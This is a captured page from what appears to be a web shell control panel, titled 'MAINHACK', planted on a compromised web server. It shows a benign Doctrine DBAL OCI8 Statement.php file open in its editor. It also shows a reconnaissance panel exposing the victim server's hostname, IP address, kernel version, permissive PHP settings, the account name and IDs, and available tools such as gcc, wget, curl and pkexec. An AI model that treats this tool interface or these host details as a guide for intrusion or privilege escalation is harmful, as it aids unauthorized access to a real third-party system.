[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Statement.php
<?php declare(strict_types=1); namespace Doctrine\DBAL\Driver\OCI8; use Doctrine\DBAL\Driver\OCI8\Exception\Error; use Doctrine\DBAL\Driver\OCI8\Exception\UnknownParameterIndex; use Doctrine\DBAL\Driver\Statement as StatementInterface; use Doctrine\DBAL\ParameterType; use function is_int; use function oci_bind_by_name; use function oci_execute; use function oci_new_descriptor; use const OCI_B_BIN; use const OCI_B_BLOB; use const OCI_COMMIT_ON_SUCCESS; use const OCI_D_LOB; use const OCI_NO_AUTO_COMMIT; use const OCI_TEMP_BLOB; use const SQLT_CHR; final class Statement implements StatementInterface { /** * @internal The statement can be only instantiated by its driver connection. * * @param resource $connection * @param resource $statement * @param array<int,string> $parameterMap */ public function __construct( private readonly mixed $connection, private readonly mixed $statement, private readonly array $parameterMap, private readonly ExecutionMode $executionMode, ) { } public function bindValue(int|string $param, mixed $value, ParameterType $type): void { if (is_int($param)) { if (! isset($this->parameterMap[$param])) { throw UnknownParameterIndex::new($param); } $param = $this->parameterMap[$param]; } if ($type === ParameterType::LARGE_OBJECT) { if ($value !== null) { $lob = oci_new_descriptor($this->connection, OCI_D_LOB); $lob->writeTemporary($value, OCI_TEMP_BLOB); $value =& $lob; } else { $type = ParameterType::STRING; } } if ( ! @oci_bind_by_name( $this->statement, $param, $value, -1, $this->convertParameterType($type), ) ) { throw Error::new($this->statement); } } /** * Converts DBAL parameter type to oci8 parameter type */ private function convertParameterType(ParameterType $type): int { return match ($type) { ParameterType::BINARY => OCI_B_BIN, ParameterType::LARGE_OBJECT => OCI_B_BLOB, default => SQLT_CHR, }; } public function execute(): Result { if ($this->executionMode->isAutoCommitEnabled()) { $mode = OCI_COMMIT_ON_SUCCESS; } else { $mode = OCI_NO_AUTO_COMMIT; } $ret = @oci_execute($this->statement, $mode); if (! $ret) { throw Error::new($this->statement); } return new Result($this->statement); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.29 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002